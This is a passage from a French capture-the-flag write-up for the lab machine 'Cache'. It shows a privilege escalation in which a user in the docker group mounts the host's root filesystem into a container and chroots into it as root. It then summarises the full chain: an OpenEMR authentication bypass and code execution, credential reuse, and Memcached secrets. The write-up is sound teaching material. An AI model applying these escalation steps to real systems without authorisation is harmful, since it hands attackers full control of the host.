Cette commande crée un conteneur interactif à partir de l’image ubuntu:latest, monte la racine / de l’hôte sous /mnt/host, puis lance un shell Bash en considérant ce répertoire comme sa nouvelle racine grâce à chroot.

Cette commande se décompose ainsi :

docker run

crée et démarre un nouveau conteneur ;

--rm

supprime automatiquement le conteneur lorsqu’il se termine ;

-it

ouvre un terminal interactif ;

-v /:/mnt/host

monte la racine / de la machine hôte dans le conteneur sous le chemin /mnt/host ;

ubuntu:latest

indique l’image utilisée pour créer le conteneur ;

chroot /mnt/host /bin/bash

lance un shell Bash en utilisant /mnt/host comme nouvelle racine du système de fichiers.

La commande réussit et ouvre un shell en utilisant le système de fichiers de l’hôte comme racine.

root@c28626745b44:/# id
uid=0(root) gid=0(root) groups=0(root)

La sortie confirme que le shell s’exécute avec les privilèges de root.

root.txt

Tu peux maintenant lire le flag root :

root@c28626745b44:/# cat /root/root.txt
190cxxxxxxxxxxxxxxxxxxxxxxxxxxxx5d33

La lecture de root.txt marque la fin de l’exploitation : la machine est désormais entièrement compromise.

Conclusion

Cache propose une exploitation progressive dans laquelle plusieurs informations qui paraissent initialement secondaires deviennent indispensables par la suite.

L’énumération du site cache.htb permet tout d’abord de découvrir hms.htb, qui héberge une installation d’OpenEMR. L’identification de sa version, puis l’exploitation d’un contournement d’authentification et d’une vulnérabilité d’exécution de code, permettent d’obtenir un premier shell sous le compte www-data.

La réutilisation des identifiants découverts pendant l’énumération web permet ensuite de passer au compte ash et de récupérer user.txt.

L’énumération locale révèle alors un service Memcached accessible uniquement depuis l’interface loopback. Son contenu fournit les identifiants du compte luffy, dont l’appartenance au groupe docker ouvre la voie à l’escalade de privilèges.

L’accès à Docker permet alors de lancer un conteneur en montant la racine du système de fichiers de l’hôte, puis d’utiliser chroot pour travailler directement dans cette arborescence avec les privilèges de root. Tu peux ainsi accéder à /root, récupérer root.txt et terminer la compromission de la machine.

Cache illustre particulièrement bien l’intérêt de ne pas limiter l’énumération aux services accessibles depuis l’extérieur. La découverte d’un hôte virtuel, la réutilisation d’identifiants, l’inspection des services locaux et l’analyse des groupes de l’utilisateur constituent ici les différentes étapes d’une même chaîne d’exploitation.